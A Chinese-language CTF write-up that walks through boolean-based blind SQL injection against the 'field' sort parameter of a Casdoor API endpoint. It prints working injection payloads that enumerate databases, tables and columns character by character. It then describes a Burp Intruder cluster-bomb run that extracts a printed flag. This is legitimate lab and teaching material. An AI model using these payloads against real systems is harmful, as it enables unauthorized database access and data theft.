根据提示
访问api/get-organizations
salmap和手工注入都不行,使用substring()
查库,查到有4个库
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=
(substring((select count(schema_name) from information_schema.schemata),1,1) = '4') <> name
第4个数据库第1个字母:c
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring
((select schema_name from information_schema.schemata limit 3,1),1,1) = 'c') <> name
(因为计算机是从0开始的,所以3表示第4个库,
1表示第一个字符,c是测试的字符
下边查表、查列、查数据也是如此)
第4个数据库第2个字母:a
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring
((select schema_name from information_schema.schemata limit% 3,1),1,2) = 'ca') <> name
第4个数据库第3个字母:s
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring
((select schema_name from information_schema.schemata limit 3,1),1,3) = 'cas') <> name
依次类推得出数据库有7位,数据库名为:casdoor
为什么只有4个库,这个库名为7位,查库时的第5个库和第4个库的第8位开始所有字母都报错,由此推出只有7位,下边查表、查列一样
查表,第一个表名
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=
(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,11) = 'application') <> name
第二个表名
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=
(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,4) = 'role') <> name
第四个表名
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=
(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,4) = 'flag') <> name
查列名,第一列名
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring
((select column_name from information_schema.columns where table_schema='casdoor'
and table_name='flag' limit 0,1),1,2) = 'id') <> name
第二列名
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring
((select column_name from information_schema.columns where table_schema='casdoor'
and table_name='flag' limit 1,1),1,4) = 'flag') <> name
查flag
?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=
(substring((select group_concat(flag) from flag),§1§,1) = '§a§') <> name
(红色部分为bp爆破部分)
使用bp抓包
攻击类型选择,集束炸弹-多个paload集合
攻击完后保存一下
保存为表格形式
首先对我们所需要的长度筛选一下
然后把paload1的顺序改为升序,得到flag
复制出来,Flag:flag{73a62ab4-b564-441e-8f6d-3b7806242c02}